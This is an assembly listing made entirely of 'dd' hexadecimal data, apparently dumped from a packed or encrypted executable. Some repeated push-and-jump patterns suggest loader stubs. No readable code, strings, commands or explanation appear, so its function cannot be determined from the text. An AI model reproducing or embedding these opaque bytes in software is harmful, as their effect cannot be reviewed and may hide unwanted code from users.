		dd 87Bh, 3AD62B00h, 0AB0D964h, 306EA753h, 0F91555A5h, 0FFE68396h
		dd 0D1E963BCh, 0B9DA14F9h, 38DB882Eh, 9976DB66h, 0FE157A05h
		dd 5A8315A0h, 0FD26F8A0h, 0C1B65F43h, 0E6B342A5h, 721770FFh
		dd 6197009Eh, 47D78900h, 0E0CACD2Bh, 15A0F907h,	53B63B0h
		dd 58E3BB58h, 0E0AAC72Ch, 0B771B207h, 0EE2240D3h, 641147B0h
		dd 425CB3AFh, 9A258EB7h, 35C0DE35h, 0D35E40D0h,	6FFAA46Eh
		dd 8830EA2Bh, 5D41FB2Ch, 0E2B2E8B6h, 406EB6AAh,	0D2355191h
		dd 7E09Eh, 0C3128096h, 0B51E58CAh, 1332E0Fh, 0F3BF0000h
		dd 0FA3ACA96h, 833B9EBAh, 0E630FFE6h, 0E0FA294Bh, 0EB40D4Eh
		dd 0E10F449Ah, 6EF95207h, 5E940A09h, 0B13C62B1h, 47D7C74Ch
		dd 0DA801EF2h, 40FA2B47h, 0B1E7B75Ch, 6EF1A9E1h, 674740h
		dd 0BCD80000h, 4BF1AD67h, 2DBDA3EAh, 0E6838E11h, 4BDB347Fh
		dd 0F6811DF6h, 0DBB353CDh, 0BD8669F6h, 0F5588417h, 0CA7FE67Eh
		dd 0CB2E4A8Ah, 0F97FE67Fh, 89F2AC64h, 10A862E3h, 3DA0BC7Dh
		dd 637FE67Fh, 8A1B47F9h, 0F15A7506h, 6ED7C74Ch,	6E3FC2DEh
		dd 4CA5FFE6h, 9B2F16h, 0BDE70000h, 155FF41Ch, 0BCE22D8Eh
		dd 0F99F0831h, 0CA96F342h, 9AB41E3Ah, 0D93207E0h, 742AE94Eh
		dd 1C82913Eh, 99FD6591h, 65A607E0h, 524CC7ABh, 6BCEBB1Ch
		dd 0E098EC4Fh, 47C11A07h, 0DE5D5F1Ah, 39C932A1h, 0E0D9C71Dh
		dd 0EF7AD30Fh, 3CD9898Ah, 45AED762h, 193575B5h,	0FE0A9B6h
		dd 0B41783DCh, 0E20FE0A9h, 0BE50E389h, 52DC547Eh, 24D5D01Fh
		dd 71392EAAh, 28CE707Ah, 0F41EEDA7h, 312E2AEBh,	7EDF85E8h
		dd 0A9C5550Bh, 17E11F53h, 4235DB30h, 0E0E3C326h, 2F98F107h
		dd 0B1E74089h, 5692BCFAh, 9D4D9981h, 0A62F6390h, 0CE377DE3h
		dd 9EC2C728h, 0B59CF20Eh, 35CA07E7h, 0D36C1DDh,	7B083893h
		dd 0FB646E10h, 96080B70h, 3E60B360h, 72363B3h, 7E767A4h
		dd 0C8D63DD2h, 0BF45B95Fh, 93468AFAh, 57BCA05Ah, 0AF641147h
		dd 0FA49ACC8h, 523E3689h, 37EA9509h, 3BA4FD3Eh,	1DAB81ABh
		dd 9C0148EEh, 11FE63F6h, 4770028Dh, 346AA98Dh, 0DEC04FA4h
		dd 46842A53h, 99247A99h, 3FAh, 5CBB9300h, 0A42F6FA7h, 3FCAD43Fh
		dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch
		dd 0E9742AEBh, 85108E84h, 4BE46852h, 1C890000h,	53DB6824h
		dd 4890000h, 0E0895024h, 405h, 42D00h, 4870000h, 0C895C24h
		dd 0EABD5524h, 452DEF74h, 4501ED83h, 4F6FF581h,	0ED817878h
		dd 4D96FD41h, 545DE889h, 83240C8Bh, 895604C4h, 8B850C6h
		dd 1000000h, 583089C8h,	240C8B5Eh, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 5724048Bh, 0C781E789h, 4,	8704C783h, 0E95C243Ch
		dd 0FFFA3BD8h, 0B8E99F62h, 800429Ch, 0E0FFC503h, 64008D31h
		dd 7C21B894h, 1DBFA9DCh, 2307E8A5h, 498F6E66h, 6EFEF55Eh
		dd 400FB724h, 59B8FBDEh, 3AFB3B28h, 441E40F1h, 7AE2BBD7h
		dd 7A345608h, 46A3E5B4h, 1E96DC09h, 435805B1h, 34AC51FDh
		dd 64CFBEBh, 6749362Ch,	51D98BB6h, 3476AB30h, 92D03CAh
		dd 7BCC3364h, 3AF88762h, 1F286778h, 444F8D8Dh, 0B52B0800h
		dd 7FA2EC9h, 1CD98D89h,	6A07FAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 120BB4C3h, 0BD8B10C4h
		dd 7FA051Dh, 31AD85C7h,	6CA007FAh, 29560000h, 0FA2A2585h
		dd 85C75A07h, 7FA2BD9h,	0
		dd 80D7B860h, 6E82FDDh,	73000000h, 8FC55391h, 595F56C8h
		dd 0EDB5FF61h, 6A07FA0Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 2975C350h, 9C036305h
		dd 8139A1A3h, 9C4182D7h, 9995FF33h, 6A07FA17h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 3395C357h, 0FA0CE985h, 0FF006A07h, 0FA101995h, 0EBC08B07h
		dd 0A942205Dh, 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 406FC1D5h
		dd 0B78F1C3h, 1AB60636h, 4AD4EE4Eh, 4AB20722h, 43A1CD50h
		dd 42AB9233h, 0DE12B512h, 85176A4Eh, 0E3242972h, 216A046h
		dd 0B98C77A8h, 0E12B8DC5h, 0BBCB65DAh, 0D63B535Fh, 868F6331h
		dd 0E1AB8733h, 42B7365Ah, 66E4C4A6h, 9AE9203Fh,	0E9000000h
		dd 4707390Bh, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h
		dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h
		dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh,	7E9BB98Bh
		dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h
		dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h,	0BD899Dh
		dd 0B69F8995h, 97BBEFh,	0C3B1B6D0h, 527155h, 0C20DA437h
		dd 0E0910D3h, 7	dup(0)
		dd 0F50E900h, 1B680000h, 0E9080047h, 0FFFA3994h, 480068h
		dd 398AE908h, 0F168FFFAh, 0E9080048h, 0FFFA3980h, 49F668h
		dd 3976E908h, 7168FFFAh, 0E908004Ah, 0FFFA396Ch, 4AF468h
		dd 3962E908h, 0B568FFFAh, 0E908004Bh, 0FFFA3958h, 4C7968h
		dd 394EE908h, 3068FFFAh, 0E908004Dh, 0FFFA3944h, 4DE168h
		dd 393AE908h, 9168FFFAh, 0E908004Eh, 0FFFA3930h, 4FD768h
		dd 3926E908h, 3F68FFFAh, 0E9080052h, 0FFFA391Ch, 533868h
		dd 3912E908h, 8E88FFFAh, 0E52DDA10h, 3FD683B9h,	937C295Fh
		dd 0E928D50Bh, 964B7FB5h, 43A64ADh, 0ABE1BD57h,	568C12FEh
		dd 0FE346AA9h, 58BBD72Fh, 7E07E6C8h, 92BC6118h,	4B67953Ah
		dd 0FFE68DE8h, 523BB50Eh, 5300A6C1h, 0EE53DEC0h, 94E97925h
		dd 0FD980F7Eh, 2EABDADBh, 80E11FC5h, 0ABC75709h, 7E0D011h
		dd 0A5D15CB5h, 7E08B3Eh, 3E0DC748h, 8B7FE2FEh, 4CA507E0h
		dd 8D336BA7h, 6E9385BDh, 3D2340h, 0F3B40000h, 0FA3ACA96h
		dd 0A5306EA5h, 9462D67Ch, 4307E09Bh, 73113019h,	6FFF8FABh
		dd 0E088F053h, 17BD1607h, 9AEA75CEh, 28CED045h,	0E0894DB4h
		dd 1CD65707h, 6E94DD15h, 0C17B40h, 0A70C0000h, 42A7326Ch
		dd 0F444CFCFh, 0A22D719Fh, 0ED26D379h, 76019D75h, 0F459E44Dh
		dd 0C5EF7F1Fh, 211479D1h, 42D07581h, 2A8D15Ch, 7ED450C4h
		dd 858EFFE7h, 0DD36E319h, 80731C1h, 86EC4BE2h, 48F0F04h
		dd 46CD72DBh, 0CF1FB258h, 4BC89A7Ah, 365FEA53h,	65A2F90h
		dd 0A0BC5A76h, 91EA07E1h, 0D18FFA5Bh, 42E22541h, 77D00FDEh
		dd 1F7F92E7h, 0C9D53CE9h, 98B5420Bh, 53F22D99h,	0CEEh
		dd 144A54C2h, 0BDF3AB67h, 63990510h, 0F4559B6h,	0B9EFAF62h
		dd 2AE7D085h, 83913E74h, 0D838E51Bh, 30E390C6h,	1169386Eh
		dd 0E6CA92F5h, 0A35AC007h, 0BAA867BCh, 50DB445Ah, 3DD48127h
		dd 957E2B61h, 0F31CD309h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh
		dd 7E09BD7h, 9FA660E1h,	406EA767h, 0CF05h, 6CA79600h, 0FA8519F6h
		dd 78DD68D1h, 20750599h, 7508AEF0h, 0E687CD49h,	207E95FFh
		dd 0E12852EAh, 74012482h, 1BA6F819h, 36E389F2h,	1D36C1DDh
		dd 4559B86Ch, 982891BAh, 93CF666Eh, 0E6C81477h,	6FE942FFh
		dd 791F59CBh, 7427C5E1h, 0AF0407E1h, 84AD3866h,	63C95DEh
		dd 0A3FB196Eh, 0E849EF18h, 132FBFA1h, 0FDE52BFh, 0A9FE8EE7h
		dd 82AB3668h, 22EF44DCh, 7899467Ch, 0A5AB6826h,	45809998h
		dd 0C09A6h, 2F6FA700h, 0D8C64CF9h, 7E20F5A2h, 2A749B48h
		dd 0D4CA47F4h, 0CEB56A9Eh, 78255B43h, 1FCC029Ch, 0CA77ADF1h
		dd 501F5549h, 0CB79DCF8h, 41A707E6h, 346AA78Ah,	0F64A4h
		dd 83CF329Eh, 9CF5FFE6h, 80BB8F6h, 5EB10696h, 0A55C9A40h
		dd 0FD607CBCh, 23FFE682h, 0AE17878Eh, 0C970709h, 83903DE3h
		dd 0E82B901Bh, 42D380B6h, 0A76CD15Ch, 8351B4D0h, 267FFFE6h
		dd 0D1ED2DBDh, 0FFE6836Eh, 57953B94h, 0CEBB657Eh, 0E4E60292h
		dd 8307E089h, 89C42743h, 99F207E0h, 1451AAF3h, 6ABA4AB0h
		dd 372960FFh, 0DCC252A7h, 7C982851h, 0F056BA19h, 0B048EE47h
		dd 50DCA694h, 4BDB34F8h, 0F8831BF6h, 931E8093h,	0C85B016Ah
		dd 0F686DAAFh, 6E3C50DAh, 6DFD56FFh, 7898ED2Dh,	6729B26h
		dd 0F05E39A3h, 25D278D1h, 0CD7AB0EEh, 0A79A5846h, 0A869E93Ch
		dd 0B18CE6Dh, 7E980000h, 0D53DEA20h, 2FE693C9h,	838C396Fh
		dd 0D938E51Bh, 0A65B8FC5h, 144A54BDh, 0BBF1AD67h, 669C020Eh
		dd 0E445AB9h, 68CBE73Fh, 8E07E6CBh, 6CA77128h, 838CEF0Bh
		dd 25BAFFE6h, 0E14AB3EBh, 144C3D56h, 0A2266884h, 0B30C07E0h
		dd 0F36D1C7Dh, 42CE2363h, 2A8D15Ch, 0DAC4588Eh,	9D2D860Fh
		dd 2FBAEC73h, 0C86E7D1Ah, 76A20935h, 2BACFFE7h,	82326A71h
		dd 2ED03875h, 61000000h, 3ACA96F3h, 0E0D31D1Eh,	0DE6EC707h
		dd 0E1178789h, 0E0D2086Dh, 5D41D207h, 8967A27h,	0A7CDE7Dh
		dd 56960000h, 0E0D2D73Ah, 0FEA4FD07h, 0CA96F347h, 0C8E21E3Ah
		dd 0A3FC07E6h, 54B7D313h, 8207E6C8h, 0C883E602h, 58B107E6h
		dd 5CB149EFh, 4B1E7B7h,	0EB048F0Fh, 1632C29Eh, 0FE70D69h
		dd 65C8E424h, 27FFE684h, 1871B2ECh, 40D02972h, 407628EBh
		dd 931E8093h, 0C1510F7Ah, 0E0AD43A5h, 58166F07h, 9E64A2EFh
		dd 1382215Ch, 9D00000Ah, 42EF2579h, 0EB98CED0h,	913E742Ah
		dd 3DEA207Eh, 6094CAD4h, 514DC4ABh, 0F8A66E1Bh,	0A3FB15C2h
		dd 4B53C06Dh, 0D2EE4615h, 7E6CC6Fh, 0E0782F95h,	0FFE68379h
		dd 0D666FA8Fh, 0E6C815BAh, 0D666BF07h, 0D60C9281h, 7FE2FE3Eh
		dd 0A507E6C7h, 3C45D24Ch, 252AD188h, 5D41D27Fh,	39B78CDh
		dd 5FEAB45Eh, 0E4FD9036h, 0F2BBBA5h, 0FE143CDh,	73E2A0F9h
		dd 0DC966434h, 99802A1h, 0FE180000h, 55BD6AA0h,	0AF661349h
		dd 30CB9EFh, 59B8659Bh,	26DB0F45h, 94CAD43Dh, 3B712DE7h
		dd 0E61C828Eh, 8EC4DA39h, 0E84B67BFh, 0E07E6CCh, 7CBCF1A8h
		dd 0E682FD60h, 24CA23FFh, 77029C77h, 129D0112h,	0E2E9A314h
		dd 38748BAAh, 46348h, 96F3D900h, 851E3ACAh, 1F07E6C8h
		dd 32E136C6h, 50B9E530h, 0F8A66D1Ah, 0C7DA416Dh, 99F007E6h
		dd 0D91B37C7h, 0FD0FE0E6h, 0D175E6A4h, 9BD69664h, 915FCh
		dd 237B9B00h, 0CCD240EDh, 722CE996h, 1E808F3Ch,	0C8D63BE8h
		dd 0C2A95E92h, 6C194F4Fh, 13C0F6A8h, 0BE6BA1FDh, 44134955h
		dd 0CD6DD0ECh, 2D9307E6h, 326CA776h, 7B2D57A7h,	1F7F9383h
		dd 75C348A5h, 0E6BBF659h, 5AC31CFFh, 920C07B4h,	2D71A207h
		dd 0C7D73DA2h, 0F0AAE33Ch, 0DF990A48h, 74C4A0D8h, 3CA3E38h
		dd 0E0CF0000h, 0FFE68379h, 0D666FA8Fh, 6A0F8F81h, 0BA52F8A6h
		dd 0E6C83B9Eh, 3BD46907h, 46AFD863h, 0ECB261B6h, 6D0A09B6h
		dd 0E6C7EE51h, 52BB1407h, 0EF2277C7h, 55FB24AFh, 7BBA95F4h
		dd 0FB17BE47h, 5CBFDB6Bh, 8A07E6F4h, 1C38C831h,	0FE113DAh
		dd 74F1AF08h, 0D79664E4h, 854FD9Ch, 0BA5C0000h,	1101AEE4h
		dd 6BAA578Dh, 0BF50FD33h, 15FCA9DFh, 6A1F5389h,	0D80E9081h
		dd 7FB5E92Bh, 2A603ED2h, 0D208967Dh, 2C8FAB03h,	5A07E6CEh
		dd 67BC3DF4h, 166F1ADh,	0D7008B13h, 0F81BC86Eh,	5DB61BA6h
		dd 0C051B641h, 21EE53DEh, 0A5D6F27Dh, 940543EBh, 8B9BD3DAh
		dd 11393874h, 0CA000003h, 0FD607CBCh, 23FFE682h, 911C828Eh
		dd 0E559FF68h, 0FFE68384h, 0DA60EF9Ah, 0DCF01DF6h, 2F4BDB44h
		dd 7E71BD5h, 0B30898F1h, 5B083E60h, 3569AAB8h, 0D2CC45AAh
		dd 10B51E47h, 0E50E9905h, 0B1D8F17Ch, 9031FAFh,	8E0FE0C6h
		dd 0B9CD7664h, 0D97E922Ah, 73BC623Ch, 0E16C32DEh, 8E914FB8h
		dd 6D966482h, 7909332h,	0F6200000h, 4DC572A8h, 0A76E1B51h
		dd 0FB14C1F7h, 51C06DA3h, 2EE3174Dh, 9CD2CC45h,	437925EFh
		dd 0EE247A96h, 96CCD241h, 0F0536FC7h, 1607E6CEh, 6CA7F9B0h
		dd 0C34DA232h, 812750DBh, 148A89EEh, 0AEF02489h, 4757BE23h
		dd 702A63BCh, 813B6CC8h, 0E6B85DB2h, 1E809340h,	8EE018E8h
		dd 137E3874h, 0F000000h, 2436Dh, 0D8FB2500h, 0D2D81BB6h
		dd 128C872Ch, 67BCB56Ch, 469F4AAh, 0D9028D11h, 0F556CA70h
		dd 7FFE682h, 324EDE82h,	7E6C8DFh, 0C71CAC05h, 0D4BF414Ch
		dd 2B5AE02h, 5DB66399h,	0EC9DB641h, 0CEC8E474h,	0F40FE0DBh
		dd 85ACDD9Bh, 74AF9664h, 6D9D5h, 5F3FD700h, 8967C29h, 0AEF025D2h
		dd 5A44CB78h, 49A7724h,	0FEE59ACEh, 0A8558B13h,	4FFC326Ch
		dd 0FAA7DDC1h, 804F8519h, 0D0A90C28h, 71D707E6h, 326CA7BAh
		dd 0CDD142A7h, 3BF52642h, 0ACE2BC57h, 748FA4DCh, 164238h
		dd 9DF20000h, 0CD842A74h, 19F6Dh, 0C9E52500h, 0FFE68366h
		dd 0D68D338Ch, 0E68380E0h, 65FB8EFFh, 0C86DB9D5h, 207907E6h
		dd 8AD83B90h, 8AE90588h, 7F202B2Ch, 0BD628B16h,	97C04B53h
		dd 3D749E2Eh, 0BDF48020h, 0B764A248h, 9EB7425Ch, 0C5D939EBh
		dd 623CD53Ah, 0E40090F9h, 0FE0E3EAh, 42C17FD8h,	8996649Dh
		dd 628AF4Eh, 8E880000h,	0E52DDA10h, 3FD683B9h, 937C295Fh
		dd 0E928D50Bh, 964B7FB5h, 43A64ADh, 0ABE1BD57h,	568C12FEh
		dd 0FE346AA9h, 58BBD72Fh, 7E07E6D0h, 7CBC6118h,	0E682FD60h
		dd 24CA23FFh, 77029C77h, 129D0112h, 270BC5F6h, 29C76ECh
		dd 5B936399h, 0F938748Fh, 7, 0E66D8Ah, 0E0060000h, 0FFE68380h
		dd 0D565FB8Eh, 0CCD24095h, 0C86EB226h, 0FF5807E6h, 0A5F91A6Fh
		dd 4D51C26Fh, 0F4AA68BDh, 0E7A2BB4Eh, 62CBD33Dh, 137692D2h
		dd 4107E6C8h, 8EAA42E8h, 0FE0F494h, 6878EE3h, 45E7D0A4h
		dd 8A30991Ch, 0C72AE841h, 0E8966417h, 5780EADh,	0DE380000h
		dd 35DD8AC0h, 8F863369h, 0E32CD90Fh, 39D885BBh,	46FB2F65h
		dd 0B4EAB45Dh, 5B910D07h, 63C62AEh, 0AEE4BA59h,	86B87DFh
		dd 2E07E6D1h, 6CA711C8h, 0F9841AF6h, 0ADD767D0h, 6CA3F78Bh
		dd 0C997B832h, 4DB245EBh, 848D8C6h, 0D23E60B3h,	0FFE6C36Fh
		dd 79973C95h, 0D0EC7F25h, 1201E59Fh, 69A7FC8Ch,	0DB81AA35h
		dd 0CF95CD9Dh, 7333874h, 0C4000000h, 1B6Dh, 6CA70600h
		dd 0D142A732h, 0B0E942CDh, 9D0112F6h, 4559B80Dh, 207A619Fh
		dd 13000000h, 0F3AB67BCh, 0EC993F68h, 0C0EC7727h, 0FFE6835Ah
		dd 0AA68BD55h, 9A4069F4h, 987B5F19h, 0A719D006h, 8EA7326Ch
		dd 0B6E829FBh, 65A1BD4Dh, 8107E6C8h, 0D0439828h, 0D60098CEh
		dd 99D1468Eh, 3E60B1B1h, 7B218AB3h, 0CE5945CEh,	0B5E9297Eh
		dd 0F3990510h, 9E58F792h, 0A3A9E182h, 0E7504EC1h, 92AEEE7Eh
		dd 7E69D2Fh, 0F07B23F1h, 872D86C7h, 8E85AFEFh, 0E544D1CCh
		dd 0D17EF298h, 8B0FE722h, 0C64DA232h, 1EF5A2D8h, 769BF080h
		dd 0CE749D28h, 7A96EB3Bh, 0CA709924h, 0B0402069h, 0CF004670h
		dd 1A68C643h, 8B9E0074h, 6BC407E1h, 647342ADh, 8726619Eh
		dd 432h, 0D006987Eh, 79AFEF23h,	1F5549CCh, 0CB019D72h
		dd 75ABF31Eh, 6EA38C41h, 0C74DFA30h, 1CF4A1D7h,	749F4C82h
		dd 0CD25F42Ah, 0E6D24EB1h, 570E7407h, 0A2326CA7h, 35DAC44Dh
		dd 1039C4DAh, 947F2C6Ah, 103A7A0Ah, 7DF761B4h, 265D12Fh
		dd 30FFE728h, 0C1DD32D7h, 0F023881Bh, 0D60723AEh, 0C3DB381Ch
		dd 3485BD8Dh, 51233875h, 0D3000000h, 1C147793h,	0E942FFE7h
		dd 96F38C43h, 1D1E3ACAh, 7807E0D3h, 0D2B91C38h,	8EE707E0h
		dd 0B6469FE8h, 0B9EFAF61h, 5A44CC21h, 8C00A6CFh, 7E0D227h
		dd 395522F1h, 7E0D2D6h,	43AA3FCh, 0B1D4B957h, 5846C955h
		dd 4B75F7DEh, 77B857E2h, 51000003h, 3ACA96F3h, 0E0B4941Eh
		dd 2E83C307h, 831BCE2h,	0E0B3399Ch, 7E0E6707h, 0E0B2FF62h
		dd 26CC2507h, 94F984DDh, 3B941F7Fh, 0D9B04802h,	6ED7C74Bh
		dd 0E477B4DEh, 2485D0BAh, 51A6E67Eh, 2A749FC3h,	41D136C1h
		dd 0DA4EF45Dh, 0FDBB050h, 2FC7FD56h, 25799AEFh,	0A205719Ah
		dd 0D0FFE74Fh, 1970D177h, 0B75D050Bh, 0CAF37EE7h, 2BB5D161h
		dd 0B707E180h, 0A36ED35Eh, 7F55B8D4h, 227B07E1h, 739C2EB9h
		dd 0F86821B9h, 0AFC24C68h, 87E00FDBh, 389BB7F7h, 5EFFE74Fh
		dd 74215F05h, 0F74FF9Fh, 3649A04h, 2E4ADA86h, 7E17A94h
		dd 443DC832h, 321BDE80h, 0AEEE3EC9h, 0E1152F92h, 73EB5507h
		dd 0B85CB6AFh, 2DA147B0h, 7E0B1C6h, 911C8290h, 2DB8E62Ch
		dd 7E26E011h, 0E82C8119h, 0D58F10B6h, 6EB996CEh, 403440h
		dd 0BCC50000h, 82FD607Ch, 0CA23FFE6h, 73C6C324h, 0E682F457h
		dd 60C922FFh, 9BE6B4D0h, 9BF407E0h, 0A996C010h,	0AB7FEC74h
		dd 52B92DD3h, 5C07E0A4h, 0E21A21DBh, 0C9406EAFh, 5B019D74h
		dd 0D37Ah, 6CA70B00h, 0CF42A732h, 911C8293h, 0F74FF68h
		dd 0CA0A9A04h, 0E6834BAEh, 7B2079FFh, 0CE610797h, 0BEF4AA69h
		dd 67CAE626h, 3EFFE683h, 0E683BF22h, 4B8CE5FFh,	5CD84CF2h
		dd 3BFFE688h, 877CDFFBh, 51AAFFE6h, 8915FEABh, 0AE66BB53h
		dd 769D4AF0h, 5849D28h,	0C9AFCB5Bh, 0F507E09Ch,	83ECB260h
		dd 0C39DEC4Dh, 773B1733h, 0A630FDDh, 0B2EC257Ah, 3542CF7Ch
		dd 0ED76B619h, 1A83DCFFh, 9876055Ch, 2CCB0699h,	1CAh, 386E30E6h
		dd 0E117878Bh, 87BDE134h, 336935DAh, 0DD138B86h, 60BF4A9h
		dd 5FB56298h, 0B45C093Fh, 0C07B4EAh, 358D5C92h,	0E6D5B619h
		dd 0BF76DC07h, 0FE346AA7h, 0A0FE1166h, 9CC64DFAh, 719A2579h
		dd 103AD208h, 5078EB35h, 47FEA429h, 3ACA96F3h, 2D492EE5h
		dd 0FFE683CAh, 90369FF8h, 9C0EDCF8h, 0B30C07E0h, 9B95FC28h
		dd 1E9F07E0h, 0A7255D64h, 0C2C3406Eh, 73000000h, 43D50049h
		dd 0A76C0B54h, 0DA436CF7h, 1BC1DD35h, 0B6CA764h, 0E6838CEFh
		dd 0F861BAFFh, 63FF1368h, 0E187F0AEh, 7628E94Eh, 8843BFEBh
		dd 0DC37FFE6h, 34DF8CC2h, 0C3C6DF6Ah, 0BF10D9Dh, 3707E09Dh
		dd 0A42F6FA2h, 7BDC127Bh, 82C2520Eh, 2BB6E82Dh,	0ADE85C02h
		dd 930FDD73h, 238C12FEh, 0CBD33E93h, 0ED3FD95h,	0B0BB511Fh
		dd 55BC690Fh, 0AAA30622h, 78D1FFECh, 0A20A510Fh, 0B6F19998h
		dd 0D117h, 6737DF00h, 108E8431h, 0B6E82DDAh, 623CD380h
		dd 0C927F2Ch, 6EDA2D6h,	0B05D930Bh, 57043A64h, 2AFE5B9h
		dd 88578D11h, 0D6B11430h, 79DF07E6h, 346AA7C2h,	0DCC251FEh
		dd 821CF74Ch, 0EA28CEF7h, 326CA733h, 91D142A7h,	2A8F1A84h
		dd 0E750B9E5h, 273950B1h, 0C7CA7B97h, 338C07E6h, 0CED043A8h
		dd 65AB0098h, 863D4328h, 45AE495Ah, 7D21F29Fh, 0A126C6F2h
		dd 25EC1720h, 8A89EE79h, 3C6D8914h, 841DA82h, 0E1557F4Eh
		dd 841AF9DDh, 3256D0F9h, 33E08613h, 0DB88BEE0h,	0B5E92A38h
		dd 898012Ah, 0B23D61B3h, 50E389h, 933965ABh, 0EA7529E6h
		dd 91752F58h, 39E61C82h, 0D98988DAh, 0AFD8633Bh, 252DD46h
		dd 0AE3965ADh, 3F8DF85h, 91000000h, 6FA75CBBh, 0D43FA42Fh
		dd 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh,	0C34CB13Ch
		dd 2AEB50DBh, 8E84E974h, 68528510h, 5122h, 56242C89h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 1C895C24h, 535F6824h, 0C890000h
		dd 25BA5224h, 553F9E69h, 9E2344BDh, 5DEA2937h, 545AD389h
		dd 83240C8Bh, 815304C4h, 20B242Ch, 418F72F9h, 8418108h
		dd 72F9020Bh, 592434FFh, 8B04C483h, 8957241Ch, 4C781E7h
		dd 83000000h, 3C8704C7h, 55E95C24h, 0E7FFFA2Ah,	66D1D577h
		dd 2EB80DC2h, 3080054h,	0F2E0FFC5h, 0EA70DA74h,	92194925h
		dd 9C4DD325h, 200F0633h, 7A39C7ADh, 3335B7E3h, 0BB37C854h
		dd 272E9249h, 4616ABADh, 0FC665008h, 0B31F9CB7h, 0EB42921Eh
		dd 4A754E99h, 1F070D50h, 302BD8C8h, 0FD28C906h,	0D47EC034h
		dd 0D34D27C4h, 6F0451E6h, 623A32BDh, 612A3144h,	2119AF7Eh
		dd 0FD47659Dh, 1B7AB201h, 1F76200Bh, 9B63A8B5h,	0A76667ADh
		dd 1751DF8Dh, 383CC6D9h, 0E655D526h, 796A6307h,	0E9529852h
		dd 1A3h, 549E954Ah, 1AD52C27h, 46B198D3h, 0B4CAD1D7h, 5B7E41EFh
		dd 5D9752E4h, 0FCA3FB6Dh
		dd 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h,	9CACA3F4h
		dd 9EB9FCh, 0AFC945D2h,	0FC00EE73h, 9CBA9755h, 0A4E56D59h
		dd 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h, 539549F7h
		dd 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h, 43h dup(0)
		dd 6D849700h, 69F033A2h, 0EEh, 8 dup(0)
		dd 0E9000000h, 0FA5h, 58C468h, 0FE36E908h, 0C668FFFAh
		dd 0E9080059h, 0FFFAFE2Ch, 5B2E68h, 0FE22E908h,	0FD68FFFAh
		dd 0E908005Bh, 0FFFAFE18h, 5D2B68h, 0FE0EE908h,	0ED68FFFAh
		dd 0E908005Dh, 0FFFAFE04h, 5EC468h, 0FDFAE908h,	4F68FFFAh
		dd 0E908005Fh, 0FFFAFDF0h, 605D68h, 0FDE6E908h,	0CA68FFFAh
		dd 0E9080060h, 0FFFAFDDCh, 619B68h, 0FDD2E908h,	2968FFFAh
		dd 0E9080062h, 0FFFAFDC8h, 62EB68h, 0FDBEE908h,	3668FFFAh
		dd 0E9080064h, 0FFFAFDB4h, 652368h, 0FDAAE908h,	29DEFFFAh
		dd 96660D94h, 15F1981Fh, 8E8027AEh, 0FC09B037h,	0BFA43EC5h
		dd 48CFF613h, 0D45B6AA1h, 61E8DF2Dh, 0EB7243BAh, 0BC845B4h
		dd 6BEFE26Eh, 56D5FE32h, 0E2171CD9h, 0F4317CE7h, 9ED5EC1Dh
		dd 0A6654AF5h, 835187E7h, 0B91C7D0Fh, 0E3A01DE5h, 43E7E21Ah
		dd 9D70ADF8h, 2FB60FFEh, 43B70B8h, 7C358187h, 0DA8F3EFh
		dd 0DC461FD8h, 7641ACEFh, 0AA16281Bh, 3FA9D0h, 9D850000h
		dd 6AE9205Dh, 0E21730EDh, 0E44590E7h, 0FC6BEB81h, 0A6155227h
		dd 7CD7F729h, 0AD5C43EFh, 0C1187914h, 0F4C03306h, 65B6F33Eh
		dd 914A7F1Ah, 1EEFDD10h, 0BA89E8B3h, 17D0AAC4h,	0ECh, 259C6DF3h
		dd 0C0F707EEh, 0CA9DDA25h, 3FD7EA93h, 1114BF21h, 902B9A72h
		dd 0D4310845h, 721B52EDh, 0DD2DE2CBh, 3B124F37h, 0B958F3C2h
		dd 0ADEA7140h, 0E7E2D3C6h, 0AFC6198h, 7C17AE5Fh, 0AC4BE631h
		dd 82CD6851h, 0BE65EC37h, 6CDB764Fh, 3BB8EF2Ch,	0EF7CF539h
		dd 92D158A3h, 0CC675EABh, 5D9D4481h, 0F4FAB734h, 0F5AEFDCh
		dd 33108DC4h, 0D3F77157h, 9F6A5188h, 0F28D38D2h, 3E255CA7h
		dd 0FEBDFAC3h, 8FFDAA57h, 1864EBC0h, 0E8100CD4h, 145FA3EFh
		dd 0E5B28BC9h, 7B461D68h, 0D3038h, 0E7DE3100h, 7241B960h
		dd 1B844EBh, 8A3DD37Ah,	18A15C03h, 66ECF791h, 0F49B229Bh
		dd 8027AE07h, 0DB43B8Ah, 73EC5FCh, 6F5E1B98h, 85BEEFE2h
		dd 0EA2CD551h, 0C17A4630h, 396623A0h, 7BC6E7E2h, 0E11CF330h
		dd 53AA51D8h, 0B2442B62h, 3FFBEFBh, 0E9205D9Dh,	7C1F3A6Ch
		dd 8A0786EFh, 0EFDC2ECDh, 0BC79F62Dh, 1CEFDC2Eh, 0F84986D1h
		dd 24DD12ADh, 0F6EFDC2Fh, 7413AE07h, 37942F86h,	4E8511Ch
		dd 0C073CE99h, 1D0AA25h, 0B7h, 0E19E1B9Ah, 41EFDC22h, 0D58DB9F6h
		dd 3BF7E12Ch, 4B881806h, 912C8574h, 77AE17F2h, 1CE5FCCEh
		dd 66A3FF53h, 1B775E93h, 0B049E7E2h, 3AD37A01h,	0D2B9F08Bh
		dd 0F1C03839h, 83C00BA6h, 285F9CDCh, 7C3BA9ABh,	41C813EFh
